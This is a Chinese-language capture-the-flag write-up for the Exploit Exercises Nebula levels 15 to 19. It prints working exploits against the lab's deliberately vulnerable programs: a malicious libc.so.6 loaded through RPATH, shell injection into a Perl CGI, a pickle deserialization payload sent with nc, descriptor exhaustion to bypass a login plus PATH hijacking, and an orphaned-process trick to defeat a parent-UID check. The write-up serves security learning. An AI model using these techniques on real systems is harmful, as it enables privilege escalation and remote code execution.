Exploit Exercises Nebula level15-19 Writeup
Nebula level15
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.
You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.
Clean up after yourself :)
利用strace查看flag15,看是否能发现异常。
直接strace一下flag15:
level15@nebula:/home/flag15$ strace ./flag15
...
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7769000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf977ab4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf977ab4) = -1 ENOENT (No such file or directory)
...
可以看见程序大量调用了libc.so.6,但是libc.so.6本身却不存在。
使用readelf
命令发现flag15对于libc.so.6存在依赖:
level15@nebula:/home/flag15$ readelf -d ./flag15
Dynamic section at offset 0xf20 contains 21 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
...
因此我们需要写libc.so.6,并放到/var/tmp/flag15
路径下,让.so的函数直接去getflag。
下面就是从哪个函数下手的问题:最方便的莫过于那些自动执行的函数,比如共享库本身加载时候需要执行的函数,Google后找到这几个:
__attribute__((constructor)) void init(void) { ... }
__attribute__((destructor)) void fini(void) { ... }
这是GCC特有的函数,当然也有一个相对通用的解决方案,使用内核的启动函数:
int __libc_start_main(
int (*main) (int, char * *, char * *),
int argc,
char **ubp_av,
void (*init) (void),
void (*fini) (void),
void (*rtld_fini) (void),
void(* stack_end)
)
我这里用这个参数长的BT的启动函数来写共享库(system()实则会fork()一个新进程并exec()替换进程执行):
#include <unistd.h>
int __libc_start_main(
int (*main) (int, char * *, char * *), int argc,
char **ubp_av, void (*init) (void), void (*fini) (void),
void (*rtld_fini) (void), void(* stack_end))
{
execl("/bin/getflag", (char *)NULL, (char *)NULL);
}
gcc -fPIC -shared -o /var/tmp/flag15/libc.so.6 libc.c
可是,执行flag15后提示:
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15)
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
两个错误,一个找不到符号,一个缺少GLIBC_2.1.3版本定义。Google后得到静态链接配合version script的方案,创建一个version文件:
GLIBC_2.0 {
};
之后编译:
gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o /var/tmp/flag15/libc.so.6 libc.c
如此,即可成功运行getflag。
Nebula level16
There is a perl script running on port 1616.
有个perl脚本在1616端口运行。
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
首先来看代码逻辑,get两个参数username和password,将username全部转换成大写并去掉空格,之后执行egrep命令,并匹配password。egrep是shell命令,这里就是这道题的突破口。
但是,Linux是区分大小写的系统,所以需要想办法构造名称为大写的脚本并完成漏洞的利用。不过,Linux的根目录没有写入权限,一级目录也没有大写名字的目录,该如何处理?这里用到了通配符技巧。
level16@nebula:~$ touch /tmp/TEST16
level16@nebula:~$ ls /*/TEST16
/tmp/TEST16
于是构造一个脚本/tmp/EXP16,并给予x权限:
#! /bin/bash
/bin/getflag > /tmp/flag16.txt
之后构造参数:
username="</DEV/NULL;/*/EXP16;#
其中第一个"
用于闭合,</DEV/NULL
是给egrep的输入参数,之后是漏洞利用的命令,最后的#
用于注释掉后面的语句。
最后将构造好的参数编码并执行:
wget http://127.0.0.1:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3B%2F%2A%2FEXP%3B%23 -O /dev/null
从/tmp/flag16.txt中可以发现成功getflag。
Nebula level17
There is a python script listening on port 10007 that contains a vulnerability.
在监听10007端口的python脚本有漏洞。
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
Python写的一个socket服务器,服务器一运行就对接收到的数据用pickle进行反序列化。序列化/反序列化就意味对象可以被存储,因此也有可能被运行。网上可以搜索一下Pickle Exploit相关信息,可谓一抓一大把。
这题思路就是从pickle下手,查询了Python Manual后发现,dumps()/loads()函数可以序列化转换对象和byte。
现在有了存储和恢复对象的方法,下一步就是如何让对象内的方法运行。php有魔数方法,python应该也有。继续看手册中pickle这章,发现在恢复对象的时候__init__()
和__new__()
是不会被调用的,但是有__reduce__()
,不过需要返回tuple或者string。
于是构造代码:
import pickle
import os
class Exp17(object):
def __reduce__(self):
return (os.system, ('/bin/getflag > /tmp/flag17.txt',))
obj = pickle.dumps(Exp17())
# pickle.loads(obj)
print obj
上面代码中注释掉的那句是我用来测试的代码,测试正常后就可以开始漏洞利用了:
python exp17.py | nc 127.0.0.1 10007
运行代码,让nc建立连接并回车,之后Ctrl+C停止运行,去/tmp/flag17.txt看成果吧。
Nebula level18
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
分析C程序漏洞,这道题有简单、中等、困难且不可靠3种方式去解决。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
看到这段长长的C代码就感到心累啊,其实这段代码的框架是标准的Linux命令行程序,模拟了一个小小的shell。
解释一下程序大的框架:直接看main函数,程序启动后通过getopt()
解析参数,含参参数d和不含参参数v,d参数后面跟着的参数为文件路径,而v则让全局结构体中verbose变量自增。之后进入无限循环,从标准输入中获取输入(要求\r\n结尾),对于输入执行相关函数或操作。之后看宏定义:两个宏用于调试输出,而全局结构体中的verbose就是指定调试等级的,所有调试内容会输出到刚才d参数后的参数指定的路径中。
反汇编程序后找到一个突破口在login函数中:
0x08048c50 <+0>: sub $0x6c,%esp
0x08048c53 <+3>: mov %ebx,0x60(%esp)
0x08048c57 <+7>: mov %edi,0x68(%esp)
0x08048c5b <+11>: mov 0x70(%esp),%edi
0x08048c5f <+15>: mov %gs:0x14,%eax
0x08048c65 <+21>: mov %eax,0x5c(%esp)
0x08048c69 <+25>: xor %eax,%eax
0x08048c6b <+27>: mov %esi,0x64(%esp)
0x08048c6f <+31>: movl $0x8048fba,0x4(%esp)
0x08048c77 <+39>: movl $0x8048ef0,(%esp)
0x08048c7e <+46>: call 0x8048750 <fopen@plt>
0x08048c83 <+51>: test %eax,%eax
0x08048c85 <+53>: mov %eax,%ebx
0x08048c87 <+55>: je 0x8048cb5 <login+101>
0x08048c89 <+57>: lea 0x1c(%esp),%esi
0x08048c8d <+61>: mov %eax,0x8(%esp)
0x08048c91 <+65>: movl $0x3f,0x4(%esp)
0x08048c99 <+73>: mov %esi,(%esp)
0x08048c9c <+76>: call 0x8048670 <fgets@plt>
0x08048ca1 <+81>: test %eax,%eax
0x08048ca3 <+83>: je 0x8048d18 <login+200>
0x08048ca5 <+85>: mov %esi,0x4(%esp)
0x08048ca9 <+89>: mov %edi,(%esp)
0x08048cac <+92>: call 0x8048640 <strcmp@plt>
0x08048cb1 <+97>: test %eax,%eax
0x08048cb3 <+99>: jne 0x8048cf4 <login+164>
0x08048cb5 <+101>: mov 0x804b0ac,%edx
0x08048cbb <+107>: test %edx,%edx
0x08048cbd <+109>: je 0x8048cea <login+154>
0x08048cbf <+111>: mov $0x8048f50,%eax
0x08048cc4 <+116>: test %ebx,%ebx
0x08048cc6 <+118>: mov $0x8048fa0,%ecx
0x08048ccb <+123>: cmovne %ecx,%eax
0x08048cce <+126>: mov %eax,0xc(%esp)
0x08048cd2 <+130>: movl $0x8048fe0,0x8(%esp)
0x08048cda <+138>: movl $0x1,0x4(%esp)
0x08048ce2 <+146>: mov %edx,(%esp)
0x08048ce5 <+149>: call 0x8048770 <__fprintf_chk@plt>
0x08048cea <+154>: movl $0x1,0x804b0b4
0x08048cf4 <+164>: mov 0x5c(%esp),%eax
0x08048cf8 <+168>: xor %gs:0x14,%eax
0x08048cff <+175>: jne 0x8048d43 <login+243>
0x08048d01 <+177>: mov 0x60(%esp),%ebx
0x08048d05 <+181>: mov 0x64(%esp),%esi
0x08048d09 <+185>: mov 0x68(%esp),%edi
0x08048d0d <+189>: add $0x6c,%esp
0x08048d10 <+192>: ret
0x08048d11 <+193>: lea 0x0(%esi,%eiz,1),%esi
0x08048d18 <+200>: mov 0x804b0ac,%eax
0x08048d1d <+205>: test %eax,%eax
0x08048d1f <+207>: je 0x8048cf4 <login+164>
0x08048d21 <+209>: movl $0x8048ef0,0xc(%esp)
0x08048d29 <+217>: movl $0x8048fbc,0x8(%esp)
0x08048d31 <+225>: movl $0x1,0x4(%esp)
0x08048d39 <+233>: mov %eax,(%esp)
0x08048d3c <+236>: call 0x8048770 <__fprintf_chk@plt>
0x08048d41 <+241>: jmp 0x8048cf4 <login+164>
0x08048d43 <+243>: call 0x8048690 <__stack_chk_fail@plt>
结合C程序一起看:
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
如果if判断为假,就可以直接把全局结构体中的登陆信息设置为1。查阅fopen后可知当文件无法打开时会返回NULL,所以可以想办法让文件无法打开。和反汇编程序对比,可以看到,fclose(fp)
在实际程序中并不存在,也就是文件句柄打开后并不关闭。系统中每个进程可以打开的文件句柄是有限的,当超出限制,资源枯竭,就会返回NULL。因此可以想办法让句柄资源枯竭。
Linux系统中的可以通过以下方式查看当前打开文件句柄和最大可打开句柄:
cat /proc/sys/fs/file-nr
cat /proc/sys/fs/file-max
但是一般来说,系统会对每个用户的进程作出资源的限制。可以使用ulimit查看限制后的资源情况:
level18@nebula:/home/flag18$ ulimit -Hn
4096
level18@nebula:/home/flag18$ ulimit -Sn
1024
可以看到,文件句柄数量硬阈值设定为4096,但对于当前用户只有1024。换句话说,创建1024个文件句柄后就不能再创建了。
那程序本身会占用多少文件句柄呢?这里我们可以先做个试验,首先运行flag18,并进入调试模式,调试等级最高(因为我们需要调试信息):
level18@nebula:/home/flag18$ ./flag18 -d /tmp/dbg17 -vvv
login level18
输入login level18
并回车,此时理论上应该打开了1个密码文件和1个调试信息文件。但是,当我们切换到TTY2并采用root登陆后(具体方法见level07),使用lsof查看进程句柄信息:
root@nebula:~# lsof -c flag18
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
flag18 11848 flag18 cwd DIR 0,18 100 13132 /home/flag18
flag18 11848 flag18 rtd DIR 0,18 260 6744 /
flag18 11848 flag18 txt REG 7,0 12216 12922 /home/flag18/flag18
flag18 11848 flag18 mem REG 7,0 1544392 44973 /lib/i386-linux-gnu/libc-2.13.so
flag18 11848 flag18 mem REG 7,0 126152 44978 /lib/i386-linux-gnu/ld-2.13.so
flag18 11848 flag18 0u CHR 136,0 0t0 3 /dev/pts/0
flag18 11848 flag18 1u CHR 136,0 0t0 3 /dev/pts/0
flag18 11848 flag18 2u CHR 136,0 0t0 3 /dev/pts/0
flag18 11848 flag18 3u REG 0,19 80 362729 /tmp/dbg17
flag18 11848 flag18 4r REG 0,17 31 344165 /home/flag18/password
可以看到,文件实际打开了5个文件句柄,除了刚才说到的两个,还有标准输入、标准输出和错误输出。也就是说对于文件句柄,程序本身占有3个,flag18程序因为调试占有1个,剩下的1024-3-1=1020才是给密码文件的,也就是至少1021个密码文件的打开才能fopen()
失效。于是构造如下命令:
python -c 'print "login level8\r\n"*1021' | ~flag18/flag18 -d /tmp/dbg17 -vvv
查看一下调试文件:
level18@nebula:/home/flag18$ cat /tmp/dbg17 | tail
got [login level8] as input
attempting to login
got [login level8] as input
attempting to login
got [login level8] as input
attempting to login
got [login level8] as input
attempting to login
logged in successfully (without password file)
got [] as input
可以发现已经登录成功了。下面我们就要调用shell参数:
level18@nebula:/home/flag18$ python -c 'print "login level8\r\n"*1021+"shell\r\n"' | ~flag18/flag18 -d /tmp/dbg17 -vvv
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
利用资源极限这种方式,虽然绕过了登录,却没有办法再创建shell,不过幸好程序本身给我们提供了closelog
,所以我们只需要创建1021个文件绕过登录,之后关闭1个句柄,再打开shell就可以了,于是构造如下命令:
python -c 'print "login level8\r\n"*1021+"closelog\r\nshell\r\n"' | ~flag18/flag18 -d /tmp/dbg17 -vvv
执行后shell返回:
flag18 -d /tmp/dbg17 -vvv
/home/flag18/flag18: -d: invalid option
Usage: /home/flag18/flag18 [GNU long option] [option] ...
/home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
这其实是sh本身的问题,因为它把后面的那些命令也认为是它的参数了,而它没有-d参数,所以报错。这里用--init-file
参数可以让它忽略后面的参数。重新构造命令:
python -c 'print "login level18\r\n"*1021+"closelog\r\nshell\r\n"' | ~flag18/flag18 --init-file -d /tmp/dbg17 -vvv &>/tmp/log17
这里我把整个shell中的输出都放到/tmp/log17中是为了便于查看,shell本身窗口太小了。查阅log17文件发现:
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/dbg17: line 1: Starting: command not found
/tmp/dbg17: line 2: got: command not found
/tmp/dbg17: line 3: attempting: command not found
/tmp/dbg17: line 4: got: command not found
/tmp/dbg17: line 5: attempting: command not found
/tmp/dbg17: line 6: got: command not found
...
开头调用了Starting
和got
命令,但是两个命令都不存在。那就构造一个命令,这样就能利用漏洞了(/tmp目录下):
echo "/bin/getflag" > Starting && chmod +x Starting
PATH=/tmp:$PATH
再次执行后查看结果:
level18@nebula:/tmp$ cat /tmp/log17 | head -20
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
You have successfully executed getflag on a target account
/tmp/dbg17: line 2: got: command not found
这样第一种方法已经实现。其他方法待续……
Nebula level19
There is a flaw in the below program in how it operates.
下面的程序执行方式有漏洞。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
首先还是分析程序执行流程:程序启动后调用getppid()函数获取父进程id,之后查找/proc下该id进程是否属于root,如果是root的,则可以根据参数执行shell命令。
首先去/proc下面看看哪些进程属于root,注意到/proc/1。回想一下Linux进程机制,在父进程创建子进程后,如果父亲在子进程退出前因为种种原因结束了,那子进程就归pid=1的init进程管理了。而init是属于root,所以,我们可以设计一个程序,启动子进程后立马退出,这样子进程的新父进程就是init了:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
pid_t p;
p = fork();
if (p == 0) //child
{
sleep(1);
execl("/home/flag19/flag19", "/bin/sh", "-c", "/bin/getflag > /tmp/flag19.txt", NULL);
}
else if(p > 0) //parent
exit(0);
return 0;
}
其中让子进程等待一秒后运行指令,保证父进程退出并让init接管。sh的-c参数用于将输入参数作为指令代替标准输入。
Voila!全部搞定!
后记
开始玩Nebula之后无法自拔,天天深陷其中,可能这就是所谓的痴迷吧。
刚做Nebula的时候觉得真的好简单,以为三四天就能完成,很可惜到后面越做越慢,很多周边知识都是边查边补充,碰到不懂得可能就得完整的系统的学习,用了不少时间,但是非常值得。
虽然现在20道题都已经完成,但是有些题目的方法还比较局限,待我学会高级的技巧后,会再回来补充一些思路或方案。
希望这20道题的Writeup能给你帮助。如果你已经完成,那就和我一起进军下一个级别的挑战!